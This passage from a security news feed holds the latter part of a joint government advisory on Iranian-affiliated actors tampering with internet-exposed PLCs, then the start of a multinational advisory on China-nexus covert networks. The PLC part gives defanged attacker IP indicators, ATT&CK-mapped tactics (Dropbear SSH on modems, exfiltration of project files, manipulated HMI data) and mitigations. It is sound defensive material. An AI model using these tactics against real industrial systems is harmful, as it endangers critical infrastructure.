<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
